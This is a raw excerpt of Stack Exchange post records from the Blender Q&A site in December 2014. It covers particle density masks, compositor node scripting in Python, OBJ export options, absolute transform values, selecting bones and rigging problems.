  <row Id="19494" PostTypeId="1" AcceptedAnswerId="19502" CreationDate="2014-12-03T15:15:43.967" Score="3" ViewCount="2784" Body="&lt;p&gt;I'm using a hair particle system to make a forest with the density determined by a separate UV mapped texture. When I set it up it looks correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3WOW.jpg&quot; alt=&quot;correct particle system&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I render it seems to remove most the particles and only leaves some blocks behind. I have no idea how to fix this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OeQMt.jpg&quot; alt=&quot;faulty result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file: &lt;a href=&quot;https://mega.co.nz/#!8E5VkDaJ!PsExHPP7LQNxk8Ry7xco9B3iO1xKrDhELS6wEszjM_Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.co.nz/#!8E5VkDaJ!PsExHPP7LQNxk8Ry7xco9B3iO1xKrDhELS6wEszjM_Q&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="1390" LastEditDate="2014-12-03T16:33:14.420" LastActivityDate="2016-01-17T19:52:40.187" Title="Particle system removes my particles when I render" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19495" PostTypeId="2" ParentId="19434" CreationDate="2014-12-03T15:27:19.087" Score="2" Body="&lt;p&gt;Dynamic topology offers a symmetrize function that copies the mesh from one side to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose the direction that you want to copy and then click symmetrize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9w6NC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-03T15:27:19.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19496" PostTypeId="1" CreationDate="2014-12-03T15:27:21.187" Score="1" ViewCount="2022" Body="&lt;p&gt;I am wanting to download and learn how to use Blender at home on my Macintosh PowerPC system.  It is older so I need to know what version of Blender is recommended for my system, here are the specs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Macintosh&lt;br&gt;&#xA;Dual 2.3 GHz Power PC G5&lt;br&gt;&#xA;OS X 10.5.8&lt;br&gt;&#xA;2 Gb DDR2 SDRAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video Card:&lt;br&gt;&#xA;NVIDIA GeForce 6600&lt;br&gt;&#xA;VRAM - 256MB&lt;br&gt;&#xA;32 Bit Color Depth&lt;/p&gt;&#xA;" OwnerUserId="8308" LastEditorUserId="2217" LastEditDate="2014-12-04T04:13:25.060" LastActivityDate="2014-12-04T04:13:25.060" Title="Recommended Version for Mac OS X 10.5.8" Tags="&lt;versions&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19497" PostTypeId="2" ParentId="19496" CreationDate="2014-12-03T15:35:06.100" Score="0" Body="&lt;p&gt;My recommendation is to just start with 2.72 and see if that works. This would be the fastest version of Blender currently because of optimizations. If that doesn't work for you, try starting with 2.61 (the first version with cycles) and work up the different versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2014-12-03T15:35:06.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19498" PostTypeId="2" ParentId="19491" CreationDate="2014-12-03T16:03:10.120" Score="7" Body="&lt;p&gt;You can change it via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.SpaceTextEditor.html?highlight=texteditor#bpy.types.SpaceTextEditor.text&quot; rel=&quot;noreferrer&quot;&gt;bpy.types.SpaceTextEditor.text&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you run an operator from the text editor you can change it in the execute method like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    context.space_data.text = bpy.data.texts['your_text']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you have to find the text area in &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Screen.html?highlight=screen.areas#bpy.types.Screen.areas&quot; rel=&quot;noreferrer&quot;&gt;screen.areas&lt;/a&gt; (given there is a text editor in the screen):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in context.screen.areas:&#xA;    if area.type == &quot;TEXT_EDITOR&quot;:&#xA;        break&#xA;    else:&#xA;        raise RuntimeError(&quot;Nothing found&quot;)&#xA;&#xA;area.spaces[0].text = bpy.data.texts['your_text']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-12-03T16:03:10.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19499" PostTypeId="2" ParentId="19433" CreationDate="2014-12-03T16:15:02.397" Score="1" Body="&lt;p&gt;There is an &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/add_mesh_extra_objects/&quot; rel=&quot;nofollow&quot;&gt;extra objects addon&lt;/a&gt; that provides a 3d function surface that should help with how to create the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the showing the surface in the viewport I would look at &lt;a href=&quot;https://github.com/CGCookie/retopology-contours&quot; rel=&quot;nofollow&quot;&gt;CGCookies retopology tools&lt;/a&gt;. If you watch the &lt;a href=&quot;https://www.youtube.com/watch?v=5RR06wjt2rs&quot; rel=&quot;nofollow&quot;&gt;demo video&lt;/a&gt; you will find they draw a preview over the mesh object before creating the final mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to look at the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;PropertyGroup or Collection types&lt;/a&gt; as a way to add extra data to an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance you may be asking too much for python, maybe you need to consider it as a patch to be added to blenders main source code.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-03T16:15:02.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19500" PostTypeId="1" AcceptedAnswerId="19501" CreationDate="2014-12-03T16:30:59.927" Score="15" ViewCount="6432" Body="&lt;p&gt;I've been looking at the python code loging of Blender.&#xA;But in there things get loged as mouse clicks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i like to do is combine a few images into a larger one using compositor, but i need control over compositor by python script. The problem seams to me that it is a bit hard to &quot;spawn&quot; a few nodes, set their values and connect them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need an micture of:  image, scale, source image location, mix nodes, output nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no Code samples other then the log of blender python which in this case is of no big help.&lt;/p&gt;&#xA;" OwnerUserId="6105" LastActivityDate="2020-05-18T18:35:36.017" Title="Controling compositor by python" Tags="&lt;python&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19501" PostTypeId="2" ParentId="19500" CreationDate="2014-12-03T17:53:55.397" Score="31" Body="&lt;p&gt;A simple code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# switch on nodes and get reference&#xA;bpy.context.scene.use_nodes = True&#xA;tree = bpy.context.scene.node_tree&#xA;&#xA;# clear default nodes&#xA;for node in tree.nodes:&#xA;    tree.nodes.remove(node)&#xA;&#xA;# create input image node&#xA;image_node = tree.nodes.new(type='CompositorNodeImage')&#xA;image_node.image = bpy.data.images['YOUR_IMAGE_NAME']&#xA;image_node.location = 0,0&#xA;&#xA;# create output node&#xA;comp_node = tree.nodes.new('CompositorNodeComposite')   &#xA;comp_node.location = 400,0&#xA;&#xA;# link nodes&#xA;links = tree.links&#xA;link = links.new(image_node.outputs[0], comp_node.inputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are node types you can create:&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.CompositorNode.html&quot; rel=&quot;noreferrer&quot;&gt;Nodes subclasses API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need anything more let me know.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="3710" LastEditDate="2019-11-16T22:32:14.357" LastActivityDate="2019-11-16T22:32:14.357" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19502" PostTypeId="2" ParentId="19494" CreationDate="2014-12-03T18:23:13.320" Score="8" Body="&lt;p&gt;Just quick side note, I'm a huge fan of this style of art. You've done a really good job on this, and I've enjoyed looking around your .blend and learning a little bit about how you did it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell something is immediately not right if you jiggle the Display percentage, under particle settings, a little. It will cause a lot of trees to disappear like when you perform a render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrLcO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender seems to be a little confused, and this might be a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the underlying issue is that you're using a texture to change the density. If this is your emitter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Exi3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is your mask texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtI3c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when applied, it simply deletes the trees outside the mask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RKqXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's how texture density masks work. You can prove this by setting the particle count to a small number like 10. If you count up all the trees you see, it will definitely be less than 10, if there are any at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you &lt;em&gt;want&lt;/em&gt; is for it to constrain all the trees to your mask. The way to do that is with vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1: Remove the texture mask.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Under particle settings, click here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tPvt7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down, set Density to 0 and uncheck it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvHmQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, you should see &lt;em&gt;all&lt;/em&gt; 40,000 trees. You may want to go ahead and lessen the emitter amount, because your computer will probably be running slow. Also, be sure to check &lt;code&gt;Use Modifier Stack&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SBO0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2: Create the vertex group&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now one way to create the vertex group would be to use weight painting, but that can be a pain, and you already have a texture you want to use, so we'll convert that texture into a vertex group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create a new vertex group, and call it something you'll be able to remember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRP5q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your particle settings, and assign the new vertex group to density.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKfzY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing should happen just yet. Almost there. Add a new Vertex Weight Edit modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avdlf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use these magic settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lqlvx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Voila!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://theadamgaskins.com/u/1417630773.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/56VEg.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://theadamgaskins.com/u/1417630773.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Click for full size&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I turned down the emitter count to about 3,000 in the photo to decrease render times.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="6076" LastEditDate="2016-01-17T19:52:40.187" LastActivityDate="2016-01-17T19:52:40.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19503" PostTypeId="1" CreationDate="2014-12-03T18:58:44.240" Score="13" ViewCount="13714" Body="&lt;p&gt;When I press &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;R&lt;/kbd&gt;, or &lt;kbd&gt;S&lt;/kbd&gt; and enter a number, Blender will move, rotate, or scale the selection &lt;em&gt;relative to its local value&lt;/em&gt;.  &lt;strong&gt;Is there a way to press, say &lt;kbd&gt;R&lt;/kbd&gt; &gt; &lt;kbd&gt;4&lt;/kbd&gt; &gt; &lt;kbd&gt;5&lt;/kbd&gt;, and then some other key to have it set the &lt;em&gt;absolute rotation&lt;/em&gt; to 45° instead of incrementing it by 45°?&lt;/strong&gt;  I know how to go into the object properties or right hand toolbar and set the position, rotation, and scaling there, I am wondering if there is a keyboard way to do it (as there is for most everything in Blender).&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2019-09-15T21:23:43.860" Title="Is there a way to enter the absolute (not relative) value of a transformation?" Tags="&lt;interface&gt;&lt;transforms&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19504" PostTypeId="1" CreationDate="2014-12-03T19:16:45.250" Score="-6" ViewCount="638" Body="&lt;p&gt;I tried export with other includes can't think of anything more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It exports faces like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f 65//37 59//37 63//37&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the exported faces should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f 85/397/131 89/402/136 90/406/140&lt;/p&gt;&#xA;" OwnerUserId="8311" LastEditorUserId="1405" LastEditDate="2014-12-03T19:28:15.420" LastActivityDate="2014-12-03T20:10:25.360" Title="Face writing wrong" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-12-03T20:42:59.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="19505" PostTypeId="2" ParentId="19504" CreationDate="2014-12-03T20:10:25.360" Score="2" Body="&lt;p&gt;When you try to export object to .obj file format (&lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Wavefront_.obj_file&lt;/a&gt;), then exporter has several options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G3vuf.png&quot; alt=&quot;Blender OBJ export options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option is &quot;Write Normals&quot;. When you will have mesh UV unwrapped too, then it will be exported in expected variant of obj file format. Double slash is there for compatibility with some other application (Rhino?).&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2014-12-03T20:10:25.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19506" PostTypeId="2" ParentId="18623" CreationDate="2014-12-03T22:01:22.517" Score="2" Body="&lt;p&gt;It turns out that this seems to be an issue with importing &lt;code&gt;bpy&lt;/code&gt; into JARCH_matierals. I changed around the code so that &lt;code&gt;bpy&lt;/code&gt; is passed into the function instead of being imported and I got it all to work together fine. This might be since &lt;code&gt;bpy&lt;/code&gt; is already imported into the module? I don't know for certain.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-12-03T22:01:22.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19507" PostTypeId="1" AcceptedAnswerId="19509" CreationDate="2014-12-03T22:16:28.570" Score="0" ViewCount="2287" Body="&lt;p&gt;How can I get a collection of two selected bones from an armature like the &lt;code&gt;bpy.struct.selected_objects[0]&lt;/code&gt; list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try this with bones I just get the armature objects name.&lt;/p&gt;&#xA;" OwnerUserId="5885" LastEditorUserId="55" LastEditDate="2014-12-03T22:46:12.110" LastActivityDate="2019-07-20T10:45:33.387" Title="How to get a list of selected bones" Tags="&lt;scripting&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19508" PostTypeId="1" CreationDate="2014-12-03T22:38:54.393" Score="4" ViewCount="1898" Body="&lt;p&gt;I follow that tutorial step by step:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=H3sSZ6W7rgQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=H3sSZ6W7rgQ&lt;/a&gt;&#xA;and had to stop around 44:00 - I had rendered my image and when I go into Node Editor there is no way to make backdrop shows up. I don't know what's going on. I'm using Blender v2.71. Please help me :)&lt;/p&gt;&#xA;" OwnerUserId="8312" LastActivityDate="2017-07-18T17:13:21.580" Title="Renders doesn't display in Node Editor while compositing" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;node-editor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19509" PostTypeId="2" ParentId="19507" CreationDate="2014-12-03T22:45:28.813" Score="2" Body="&lt;p&gt;Your probably looking for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bpy.context.html#bpy.context.selected_bones&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context.selected_bones&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or ... &lt;code&gt;selected_editable_bones&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-03T22:45:28.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19510" PostTypeId="2" ParentId="19508" CreationDate="2014-12-03T22:56:22.243" Score="2" Body="&lt;p&gt;TARDIS Maker comment is a solution to my problem, I just didn't connect render layers to a viewer node.&lt;/p&gt;&#xA;" OwnerUserId="8312" LastActivityDate="2014-12-03T22:56:22.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19511" PostTypeId="1" CreationDate="2014-12-04T00:17:02.790" Score="1" ViewCount="440" Body="&lt;p&gt;I have made a simple rig for a model I have, where some vertices are not affected by any bone. When I export this model as an FBX file, blend weights and indices are ignored for vertices that are not affected by any bone. The encoder for proprietary format for the game engine I'm using gets upset by not all vertices having the same set of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force Blender to include zero blend weights and indices and not ignore them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8313" LastActivityDate="2014-12-04T00:17:02.790" Title="Ignored blend weights in exported FBX file" Tags="&lt;animation&gt;&lt;export&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19512" PostTypeId="1" CreationDate="2014-12-04T00:51:05.663" Score="1" ViewCount="145" Body="&lt;p&gt;I've been working on a human for 2 days, but every time I parent the skeleton to the model, the legs bend the wrong way. I rotate the pole as I saw in an instructional vid, getting the skeleton to move correctly. However, when I then paint weights, the model deforms extremely -- as in, when I make it even slightly green, it deforms while I'm painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried fixing the leg's pole angles before parenting, but even then, the weight painting always causes extreme deformities. It only seems to paint correctly when the pole angle is 0, but in most cases, having it at 0 doesn't allow for the leg to move correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw an instructional video on this, and the artist was easily able to change the pole angle without affecting the weight painting. &lt;/p&gt;&#xA;" OwnerUserId="8314" LastActivityDate="2015-06-03T19:24:37.243" Title="Parenting and deformation" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19513" PostTypeId="2" ParentId="19503" CreationDate="2014-12-04T01:41:01.663" Score="8" Body="&lt;p&gt;Not entirely the answer you're looking for, but at least for some cases it works nicely to do one or more of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object &gt; Clear &gt; &lt;strong&gt;Location&lt;/strong&gt;  &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Object &gt; Clear &gt; &lt;strong&gt;Rotation&lt;/strong&gt;  &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Object &gt; Clear &gt; &lt;strong&gt;Scale&lt;/strong&gt;     &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And after that make the transform and input the desired value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's important to mention that after pressing &lt;strong&gt;move&lt;/strong&gt; &lt;kbd&gt;G&lt;/kbd&gt;, &lt;strong&gt;rotate&lt;/strong&gt;&lt;kbd&gt;R&lt;/kbd&gt; or &lt;strong&gt;scale&lt;/strong&gt; &lt;kbd&gt;S&lt;/kbd&gt;, you can define:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;global axis by pressing &lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;local axis by pressing &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2014-12-04T01:48:49.657" LastActivityDate="2014-12-04T01:48:49.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19514" PostTypeId="2" ParentId="7388" CreationDate="2014-12-04T02:01:08.703" Score="15" Body="&lt;p&gt;For this kind of task the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Copy_Attributes_Menu&quot;&gt;Copy Attributes Menu Addon&lt;/a&gt;&lt;/strong&gt; is very good. It comes with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling it, simply:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select your object&lt;/li&gt;&#xA;&lt;li&gt;With &lt;kbd&gt;Shift&lt;/kbd&gt; pressed, select the target object&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;strong&gt;Copy Location&lt;/strong&gt; from the list&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If needed, do the same for rotation and scale as well.&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-04T02:01:08.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19515" PostTypeId="2" ParentId="19496" CreationDate="2014-12-04T03:54:04.290" Score="4" Body="&lt;p&gt;General hardware age isn't the big problem here, and that's what the other commenters were talking about. Their advice is great if you have an x86 system of that vintage (ex, Pentium 4), but you don't. You have a PowerPC machine. That's problematic as the official OS X Blender builds are not compiled for PPC and haven't been for quite some time. Since 2.63, to be exact. You can find it here: &lt;a href=&quot;http://download.blender.org/release/Blender2.63/&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/release/Blender2.63/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the file blender-2.63a-release-OSX_10.5_ppc.zip and install as usual. It should be your best bet.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2014-12-04T03:54:04.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19516" PostTypeId="2" ParentId="19512" CreationDate="2014-12-04T03:57:16.990" Score="1" Body="&lt;p&gt;This sounds like you may have you have already 'Posed' your armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an armature is already posed, parenting somthing to it will cause the child to take on the armatures pose. You need to only use 'edit mode' for choosing how the armature is set up. However this can be fixed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the armature, go to pose mode, then &lt;kbd&gt;A&lt;/kbd&gt;x2 (or 1) just to select all bones. Then hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;, to clear all data on the bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is done your armature won't be where you wanted it, so go to edit mode to fix it back to the way you wanted.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-04T03:57:16.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19517" PostTypeId="1" CreationDate="2014-12-04T05:34:11.510" Score="1" ViewCount="970" Body="&lt;p&gt;How would I go about removing these dark spots from the final rendered image? Currently, I use GIMP to remove it but it takes a while. Any ideas why this is happening? I am rendering at 1000 samples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=80762&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S63rSl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8315" LastEditorUserId="2217" LastEditDate="2014-12-05T01:22:58.027" LastActivityDate="2014-12-05T01:22:58.027" Title="How to remove dark spot from render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19518" PostTypeId="2" ParentId="7388" CreationDate="2014-12-04T05:57:03.787" Score="-1" Body="&lt;p&gt;One more option you can try is with an addon. It was published just yesterday so I haven't had a chance to try myself, but it looks like it might fit the bill here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendswap.com/blends/view/76682&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/76682&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-12-04T05:57:03.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19519" PostTypeId="1" CreationDate="2014-12-04T06:51:35.410" Score="0" ViewCount="1941" Body="&lt;p&gt;I'm making a simulator and I have an image like a piece of chair and it's in 2d and I need to create a 3d model of that to be able to apply texture to it by three.js. So ,How can I convert a 2d image to a 3d model?&lt;/p&gt;&#xA;" OwnerUserId="8318" LastActivityDate="2014-12-04T12:57:55.030" Title="how to make 3d model of 2d image" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2016-12-01T23:00:32.643" ContentLicense="CC BY-SA 3.0" />
